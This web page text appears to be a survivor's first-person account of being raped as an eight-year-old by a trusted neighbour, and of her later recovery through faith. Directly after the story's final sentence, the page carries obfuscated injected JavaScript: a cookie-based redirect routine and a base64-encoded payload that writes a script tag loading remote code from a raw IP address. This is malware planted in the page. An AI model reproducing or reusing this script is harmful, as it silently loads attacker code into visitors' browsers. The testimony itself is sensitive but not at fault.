Thandeka’s Story

I’m Thandeka thank you for letting me share my story with you. I come from a family of four. I live with my mother, granny and my younger sister. When I was 8 yrs old I was sexually abused and raped by a man called Liz he lived next door. Me and my friends were playing out in the street When Lizo’s brother came and took our ball, so me and my friend went to tell Lizo of his brother’s deed. He told us not to worry he would sort it out “let’s just sit down and watch a movie”. As we were watching a movie he started touching me all over my body. I kept telling him to stop but he did not, he was hurting me. He locked the door and hid the key and he took us in the room then raped both of us. Someone managed to get the keys and open the door, so we ran so fast. I was scared to death I did not know what to do, I was so confused. I could have been dead, this guy was trusted, he came to our house almost every day. The day my childhood was taken away from me my life changed. At school I lost my concentration. I was always afraid thinking that every one would want to hurt me, always shaking and having bad dreams. One thing I can tell you is I did not get a chance to be child. I always ask myself why would anyone do that to an 8 yr old. I was always angry but God helped me during that time in my life. And now I know that God loves me so much and is always by my side everywhere I go. So there is hope in God. Lizo thought that he was destroying me but I turned out to be a very beautiful girl who is strong and ready to face the world. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘